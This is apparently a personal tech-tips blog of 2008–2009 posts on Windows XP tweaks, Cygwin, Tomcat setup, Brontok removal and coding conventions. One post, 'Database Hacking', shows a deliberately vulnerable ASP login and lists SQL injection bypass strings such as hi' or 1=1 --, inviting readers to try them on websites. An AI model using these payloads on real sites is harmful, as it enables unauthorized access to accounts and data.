Windows Tips And Tricks by Vishal Joshi

apt for cygwin

vishalce2008@gmail.com (Vishal Joshi) — Tue, 15 Dec 2009 06:40:00 +0000

As we are using apt for installing softwares in Ubuntu and other Debian linux. We also can install softwares in cygwin using similar command. For that we need to use cyg-apt which is mostly similar to apt and makes installing cygwin packages more friendly. Though this is not coming with cygwin. You need to install cyg-apt.

To install cyg-apt on cygwin follow the steps given:

1) Open Cygwin

2) type cd /bin

3) type wget http://www.lilypond.org/~janneke/software/cyg-apt

4) type chmod a+rx cyg-apt

5) type cyg-apt setup
6) type cyg-apt update

And you are done.

remove brontok by yourself

vishalce2008@gmail.com (Vishal Joshi) — Fri, 27 Mar 2009 02:33:00 +0000

Before all lets us know about brontok.

Win32.Brontok.j is a worm that disables Windows Registry Editor and Folder Options. And it also reboots the system if user tries to open the application which is affected by brontok. This worm also modifies several registry entries.

So we can say that Bontok is the stickiest virus.

U can remove it easily.

Start ur computer in safe mode with command prompt and type the following commands to enable registry editor:-

reg delete HKCU\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

reg delete HKLM\software\microsoft\windows\currentversion\policies\system /v "DisableRegistryTools"

After this ur registry editor is enable

Now go to run and type regedit

then follow the following path :-

HKLM\Software\Microsoft\Windows\Currentversion\Run

on the right side delete the entries which contain 'Brontok' and 'Tok-' words.

after that restart ur system

open registry editor and follow the path to enable folder option in tools menu

HKCU\Software\Microsoft\Windows\Currentversion\Policies\Explorer\ 'NoFolderOption'

delete this entry and restart ur computer

and search *.exe files in all drives (search in hidden files also)

remove all files which are display likes as folder icon.

Now Congratulations! ur computer is completely free from virus brontok

Run Tomcat Server Under Apache Server

vishalce2008@gmail.com (Vishal Joshi) — Sun, 05 Oct 2008 10:24:00 +0000

In this post I am trying to give you information of running tomcat server under apache server on LINUX. If you want to do so then follow these instructions:

First of all get Apache HTTP server from apahce site http://httpd.apache.org and apache tomcat server from http://tomcat.apache.org
Install both Apache and Tomcat servers on your system.
Now get tomcat connector from http://tomcat.apache.org/download-connectors.cgi
Now start extracting tomcat connectors file and installing it on bash shell:
$gunzip tomcat-connecters-x.x.xx-src.tar.gz
$tar -xvf tomcat-connecters-x.x.xx-src.tar
$cd tomcat-connecters-x.x.xx-src/native
$./configure --with-apxs=APACHE_PATH/bin/apxs
$make (compiling the installation files)
$make install (installing files)
$cp apache 2.0/mod_jk.so APACHE_PATH/modules
Now configuring Tomcat server:
$vi TOMCAT_PATH/conf/server.xml
In this file add
<Listener classname="org.apache.jk.config.ApacheConfig" modJk="APACHE_PATH/modules/mod_jk.so"/ >
in <engine name="Catalina" defaulthost="localhost">...<engine> block.
Restart tomcat server if it is running: $./TOMCAT_PATH/bin/shutdown.sh then $./TOMCAT_PATH/bin/startup.sh
Now doing Tomcat configuration
$vi TOMCAT_PATH/cont/auto/mod_jk.conf
Copy appropriate JkMount files from block to outside of it. eg JkMount /abc ajp13
Now configuring Apache server
Open apache configuration file $vi APACHE_PATH/conf/httpd.conf
Add following line at the end of file: Include TOMCAT_PATH/conf/auto/mod_jk.conf
Also add LoadModule jk_module modules/mod_jk.so in httpd.conf file.
Restart Apache server: $/usr/sbin/apachectl restart
And you have dont it!!!

Now you can run tomcat server applications with the layer of apache server such as if you are running http://localhost:8080/tomcat_project then now you can run it as http://localhost/tomcat_project you will get redirected to your project.

Reference:
http://tomcat.apache.org/connectors-doc/webserver_howto/apache.html

Naming conventions for class, variables and functions

vishalce2008@gmail.com (Vishal Joshi) — Mon, 22 Sep 2008 00:41:00 +0000

This post is related to the naming conventions of the identifiers that we are declaring in the program. During programming the problems that I have faced in programming and have learnt from others how to do declaration of class, function and variables. So for that I am published this post to reduce the problems that I have faced that you don't have to face it.

Class Declaration:
Always declare class name with first character in the Capital letter. ie class Increment. If the class name contains two words such as "vishal" and other as "joshi" then declare class as class VishalJoshi. Give some useful name to the class so that one can understand that this class is doing some particular work; such as if a class is related to person's information class then declare it as class PersonInformation.

Variable Declaration:
In variable decalration, don't try to give useless name such as int i. Give some useful name such as if a variable is for temparary use decalre it as int temporary;. Now in such a way if a variable is used for declaring storing name of a person then decalre it as String personName, here put first letter of first word in small letter and first letter of second word in the capital letter, so that it becomes easy for others to understand the decalration of variable. Don't put underscore (_) in the declaration till possible and useless name; and even though the name of variable becomes too long let it be long.

Function Declaration:
In function declaration, give function name as void createListing(); same as variable declaration. But give some useful name to the function so that one can get idea of what the function is doing, such as for generating new random password declare function as
public String generateRandomPassword(). Here one can understand that this function is used to generat a random password. Here also don't put underscore (_) in between the words this is bad habit.

From this post you might have got some idea of declaring variables, classes and functions in your code. Due to this declarations your code becomes easy to understand for you and others also and you also don't have to do a lot of documentation for your code. If you'll declare variables using useless words then you also will have to face a lot of problem. So please give some meaningful name to the variables, functions and classes.

Shutdown Computer Remotely

vishalce2008@gmail.com (Vishal Joshi) — Thu, 07 Aug 2008 09:14:00 +0000

Hey If you want to shutdown any computer remotely then follow this instructions:

Open command prompt
type "shutdown -i" to display the Remote Shutdown dialog box (Shutdown.exe).
Under Computers, click Add to enter computer names, or click Browse to open the Find Computers dialog box.
Under What do you want these computers to do, click Restart or Shut down. or Log off
If you did not anticipate restarting or shutting down the target computers at this time, clear the Planned check box.
Select the appropriate reason from the list.
If a comment is required, the OK button will not function until you type at least one character one in the text box.

Sending messages out over the network using Command Prompt

vishalce2008@gmail.com (Vishal Joshi) — Fri, 01 Aug 2008 02:47:00 +0000

Hey if you want to send message to your friends in your school or college on a computer then here's a crazy way to send message:

Net Send <domain> "Hi dude!

Here <domain> may be the name of computer or IP address of computer or username of the computer (user name must be network id of user )

Net Send ABC * "Hi to all!"

The asterisk denotes wildcard sending, or sending to every computer in the domain. You can swap this for people's accounts, for example

NetSend ABC vishal,sandip "Hello Dudes!"

use commas to divide the names and NO SPACES between them.

Turn off windows XP balloon pop ups

vishalce2008@gmail.com (Vishal Joshi) — Wed, 16 Jul 2008 03:25:00 +0000

turn off the balloon pop-ups :

1. In start menu go to run
2. Type regedit and press return key
3. Now registry editor will get opened
4. Open
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced.
5. Create a REG_DWORD named EnableBalloonTips.
6. Set the value data to 0. (0 for disable pop-ups and 1 for enable pop-ups)
7. Close regedit.
8. Restart the computer.

Now balloon pop-ups will not be disturb you!

If you want to turn on balloon pop-ups than change value to 1.

About Sky Drive

vishalce2008@gmail.com (Vishal Joshi) — Tue, 08 Jul 2008 05:33:00 +0000

Hey, Live.com has started a facility named sky drive which allows us to store data online. It gives us to store data online up to 5 GB. So we can store our data for backup. Even if you want to share data with your friends then you can also, just make a folder and invite your friends to share it. It will get shared after your friend accepts your invitation for sharing files. But there is a limitation, to access Sky Drive you must have an account on Live.com. It is too easy to create account on live.com. So create an account and enjoy it!

Sky Drive Link: skydrive.live.com

Database Hacking

vishalce2008@gmail.com (Vishal Joshi) — Fri, 13 Jun 2008 10:19:00 +0000

A common mistake made by the web designers can reveal the databases of the server to the hacker. Lets see on it. The whole game is of query strings. So it is assumed that the reader has some knowledge about queries and asp. And one more thing. This hack is done using only through the browser. So you even don't require any other tools except IE or Netscape.
Normally, inorder to make a login page, the web designer will write the following code.

login.htm

< html >
< body >
< form method=get action="logincheck.asp" >
< input type="text" name="login_name" >
< input type="text" name="pass" >
< input type="submit" value="sign in" >
< /form >
< /body >
< /html >

logincheck.asp

<@language="vbscript" >
<%
dim conn,rs,log,pwd
log=Request.form("login_name")
pwd=Request.form("pass")

set conn = Server.CreateObject("ADODB.Connection")
conn.ConnectionString="provider=microsoft.jet.OLEDB.4.0;data source=c:\folder\multiplex.mdb"
conn.Open
set rs = Server.CreateObject("ADODB.Recordset")
rs.open "Select * from table1 where login='"&log& "' and password='" &pwd& "' ",conn
If rs.EOF
response.write("Login failed")
else
response.write("Login successful")
End if
% >

Looking at the above code at first site it seems OK. A user will type his login name and password in login.htm page and click the submit button. The value of the text boxes will be passed to the logincheck.asp page where it will be checked using the query string. If it doesn't get an entry satisfying the query and will reach end of file a message of login failed will be displayed. Every thing seems to be OK. But wait a minute. Think again. Is every thing really OK ?!! What about the query ?!! Is it OK. Well if you have made a page like this then a hacker can easily login successfully without knowing the password. How ? Lets look at the querry again.

"Select * from table1 where login='"&log& "' and password='" &pwd& "' "

Now if a user types his login name as "Vishal" and password as "tmp" then these values will pass to the asp page with post method and then the above query will become

"Select * from table1 where login=' Vishal ' and password=' tmp ' "

Thats fine. There will be an entry Vishal and tmp in login and password fields in the database so we will receive a message as login successful. Now what if I type loginname as "Vishal" and password as
hi' or 'a'='a in the password text box ? The query will become as follows:

"Select * from table1 where login=' Vishal ' and password=' hi' or 'a'='a ' "

And submit and bingo!!!!! I will get the message as Login successful !! Did you see the smartness of hacker which was due to carelessness of web designer ? !!
The query gets satisfied as query changes and password needs to 'hi' or 'a' needs to be equal to 'a'. Clearly password is not 'hi' but at the same time 'a'='a' . So condition is satisfied. And a hacker is in with login "Vishal" !! You can try the following in the password text box if the above doesn't work for some websites:

hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a

Here above -- will make the rest of the query string to be a comment other conditions will not be checked. Similary you can provide

Vishal ' --
Vishal " --

or such types of other possibilites in the login name textbox and password as anything which might let you in. Because in the query string only login name is checked as "Vishal" and rest is ignored due to --. Well if you are lucky enough you get such a website were the webdesigner has done the above mistake and then you will be able to login as any user !!!

Some Windows Xp Tricks

vishalce2008@gmail.com (Vishal Joshi) — Fri, 13 Jun 2008 09:51:00 +0000

Hello Friends I have got some Windows Xp tricks from here and there. I have added it here so that It will be useful to you.

Trick 1: Hide Drive

If u r having any important docs and want to hide it temporarily, dont wory windows XP provides (not officialy ) a utility by which u can hide urs one or more drives .

1. Go to Start > run > type "diskpart".

a dos window will appear with following di$$$$$$ion.

DISKPART>

2. then type "list volume"

this will look like it

Volume### Ltr Label Fs Type Size Status Info

-------------- ---- ------ --- ----- ---- ------- -----

Volume 0 F DC-ROM

Volume 1 C NTFS Partition 7000MB Healthy

Volume 2 D soft NTFS Partition 8000MB Healthy

Volume 3 E ---- NTFS Partition 8000MB Healthy

3.if u wanna hide drive E then type "select volume 3"

then a message will appear in same winwods { Volume 3 is the selected volume}

4.now type " remove letter E"

now a message will come { Diskpart Removed the Drive letter }

sometime it requires the reboot the computer .

Diskpart will remove the letter .Windows XP is not having capabilty to identify the unkown volume.

Don't afraid ur Data will ramin same .

to Come backe the Drive repeat the process . but in 4th step which is shown in this post replace " remove" to "assign"

i mean type " assign letter E"

Trick 2: Increase Your Internet Speed

Try this , if you have windows XP professional

this is for broad band connections/dial up running Windows XP.

1. log on as Administrator.

2. start - run - type gpedit.msc

3. expand "local computer policy"

4. then expand "administrative templates"

5. then expand "network branch"

6. Highlight the "QoS Packet Scheduler"

7. on right window double click "limit reservable bandwidth"

8. on setting tab check the "enabled"

9. change "Bandwidth limit %" to 0

reboot if prompted

this is because Windows XP reserve 20% of the bandwidth for its self.

Trick 3: Lock Your Folder

Suppose you want to lock the folder abc in c: which has the path c:\abc In the same drive create a text file and type

ren abc abc.{21EC2020-3AEA-1069-A2DD-08002B30309D}

Now save this text file as lock.bat

create another text file and type in it

ren abc.{21EC2020-3AEA-1069-A2DD-08002B30309D} abc

Now save this text file as unlock.bat

Now you can see 2 batch files lock and unlock. Press lock and the folder abc will be changed and you cannot view its contents.Press unlock and you will get back your original folder.

Trick 4: Try It

open your MS Word......

then type

=rand(200,99)

and then press enter

and see the magic

Trick 5: Change the title of your Internet Explorer

Follow these simple steps:

1. Open Registry Editor

2. Move to the following key.

3. HKEY_CURRENT_USER\Software\Microsoft\Internet. Explorer\Main.

4. In the Right Pane look for the string "Window Title". If there does not exit "window title" string.............create it. Just right click anywhere...........go to new->string value

In place of "value name"...........type the name u want to see as the title of the internet explorer.....................Don't assign any value to "value data".

Fetch Data From Yahoo Pipes using JavaScript

vishalce2008@gmail.com (Vishal Joshi) — Mon, 02 Jun 2008 10:31:00 +0000

How to fetch data from Yahoo Pipes using javascript:
First of all create function named getFeed which contains the parameter as feed as shown below:

function getFeed(feed) {
var newScript = document.createElement('script');
var pipeId=15154 //your pipe id newScript.type = 'text/javascript';
newScript.src = 'http://pipes.yahoo.com/pipes/pipe.run?_id='+ pipeId +'&_callback=piper&_render=json&searchInput='+feed;
document.getElementsByTagName("head")[0].appendChild(newScript);
}

In above function at newScript.src = 'http://pipes.yahoo.com/pipes/pipe.run?_id='+ pipeId +'&_callback=piper&_render=json&searchInput='+feed; linethere is something like _callback=piper which calls a function named piper which is used to fetch data. And result will be in JSON format.

The piper function is like this:

function piper(feed) {
var i;
var flk=feed.value.items[0].flickr;
var ytb=feed.value.items[1].ytb;
for (i=1; i<=parseInt(flk); i++) {
var link=feed.value.items[i].link;
var isrc=feed.value.items[i].description;
}

}
Here in above function we have tried to get date from flicker.com and youtube.com.The variable flk fetches data from flicker and ytb fetches data from youtube using yahoo pipes.If you have more then one outputs from yahoopipes then do as shown above.

Now as shown above in the for loop you can get data for particular results by using feed.valoe.items[i] and its propertiessuch as link, description etc.

DOS tricks and shortcuts

vishalce2008@gmail.com (Vishal Joshi) — Sat, 31 May 2008 07:15:00 +0000

Accessibility Controls :access.cpl
Add Hardware Wizard: hdwwiz.cpl
Add/Remove Programs: appwiz.cpl
Administrative Tools: control admintools
Automatic Updates: wuaucpl.cpl
Bluetooth Transfer Wizard: fsquirt
Calculator: calc
Certificate Manager: certmgr.msc
Character Map: charmap
Check Disk Utility: chkdsk
Clipboard Viewer: clipbrd
Command Prompt: cmd
Component Services: dcomcnfg
Computer Management: compmgmt.msc
timedate.cpl
ddeshare
Device Manager: devmgmt.msc
Direct X Control Panel (If Installed)*: directx.cpl
Direct X Troubleshooter: dxdiag
Disk Cleanup Utility: cleanmgr
Disk Defragment: dfrg.msc
Disk Management: diskmgmt.msc
Disk Partition Manager: diskpart
Display Properties: control desktop
Display Properties: desk.cpl
Display Properties (w/Appearance Tab Preselected): control color
Dr. Watson System Troubleshooting Utility: drwtsn32
Driver Verifier Utility: verifier
Event Viewer: eventvwr.msc
File Signature Verification Tool: sigverif
Findfast: findfast.cpl
Folders Properties: control folders
Fonts: control fonts
Fonts Folder: fonts
Free Cell Card Game: freecell
Game Controllers: joy.cpl
Group Policy Editor (XP Prof): gpedit.msc
Hearts Card Game: mshearts
Iexpress Wizard: iexpress
Indexing Service: ciadv.msc
Internet Properties: inetcpl.cpl
IP Configuration (Display Connection Configuration): ipconfig /all
IP Configuration (Display DNS Cache Contents): ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents): ipconfig /flushdns
IP Configuration (Release All Connections): ipconfig /release
IP Configuration (Renew All Connections): ipconfig /renew
IP Configuration (Refreshes DHCP & Re-Registers DNS): ipconfig /registerdns
IP Configuration (Display DHCP Class ID): ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID): ipconfig /setclassid
Java Control Panel (If Installed): jpicpl32.cpl
Java Control Panel (If Installed): javaws
Keyboard Properties: control keyboard
Local Security Settings: secpol.msc
Local Users and Groups: lusrmgr.msc
Logs You Out Of Windows: logoff
Microsoft Chat: winchat
Minesweeper Game: winmine
Mouse Properties: control mouse
Mouse Properties: main.cpl
Network Connections: control netconnections
Network Connections: ncpa.cpl
Network Setup Wizard: netsetup.cpl
Notepad: notepad
Nview Desktop Manager (If Installed): nvtuicpl.cpl
Object Packager: packager
ODBC Data Source Administrator: odbccp32.cpl
On Screen Keyboard: osk
Opens AC3 Filter (If Installed): ac3filter.cpl
Password Properties: password.cpl
Performance Monitor: perfmon.msc
Performance Monitor: perfmon
Phone and Modem Options: telephon.cpl
Power Configuration: powercfg.cpl
Printers and Faxes: control printers
Printers Folder: printers
Private Character Editor: eudcedit
Quicktime (If Installed): QuickTime.cpl
Regional Settings: intl.cpl
Registry Editor: regedit
Registry Editor: regedit32
Remote Desktop: mstsc
Removable Storage: ntmsmgr.msc
Removable Storage Operator Requests: ntmsoprq.msc
Resultant Set of Policy (XP Prof): rsop.msc
Scanners and Cameras: sticpl.cpl
Scheduled Tasks: control schedtasks
Security Center: wscui.cpl
Services: services.msc
Shared Folders: fsmgmt.msc
Shuts Down Windows: shutdown
Sounds and Audio: mmsys.cpl
Spider Solitare Card Game: spider
SQL Client Configuration: cliconfg
System Configuration Editor: sysedit
System Configuration Utility: msconfig
System File Checker Utility (Scan Immediately):sfc /scannow
System File Checker Utility (Scan Once At Next Boot): sfc /scanonce
System File Checker Utility (Scan On Every Boot): sfc /scanboot
System File Checker Utility (Return to Default Setting): sfc /revert
System File Checker Utility (Purge File Cache): sfc /purgecache
System File Checker Utility (Set Cache Size to size x): sfc /cachesize=x
System Properties: sysdm.cpl
Task Manager: taskmgr
Telnet Client: telnet
User Account Management: nusrmgr.cpl
Utility Manager: utilman
Windows Firewall: firewall.cpl
Windows Magnifier: magnify
Windows Management Infrastructure: wmimgmt.msc
Windows System Security Tool: syskey
Windows Update Launches: wupdmgr
Windows XP Tour Wizard: tourstart
Wordpad: write

About fafafola.com

vishalce2008@gmail.com (Vishal Joshi) — Fri, 30 May 2008 03:20:00 +0000

Fafafola.com is a website, we can call it as a multisearch engine. Fafafola.com gives us resuls from youtube.com, flicker.com, and wikipedia for given search. Fafafola.com also shows the location on the Google Map (if location found on google map).

Fafafola.com is powered by infibeam.com.

Now go fafafola.com and enjoy it!

20 things you didn't know about Windows XP

vishalce2008@gmail.com (Vishal Joshi) — Wed, 28 May 2008 03:04:00 +0000

You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).

2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).

3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.

4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.

5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, typing the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.

7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by typing 'tasklist', which will also tell you a lot about what's going on in your system.

8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by typing 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by typing 'regsvr32 zipfldr.dll'.

9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.

10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to www.whatismyip.com -- and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.

12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.

13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.

14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.

15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.

16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.

17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.

18. Windows Media Player will display the cover art for albums as it plays the tracks -- if it found the picture on the Internet when you copied the tracks from the CD. If it didn't, or if you have lots of pre-WMP music files, you can put your own copy of the cover art in the same directory as the tracks. Just call it folder.jpg and Windows Media Player will pick it up and display it.

19. Windows key + Break brings up the System Properties dialogue box; Windows key + D brings up the desktop; Windows key + Tab moves through the taskbar buttons.

20. The next release of Windows XP, codenamed Longhorn, is due out late dis month The next big release is codenamed Blackcomb and will be out in 2010/2011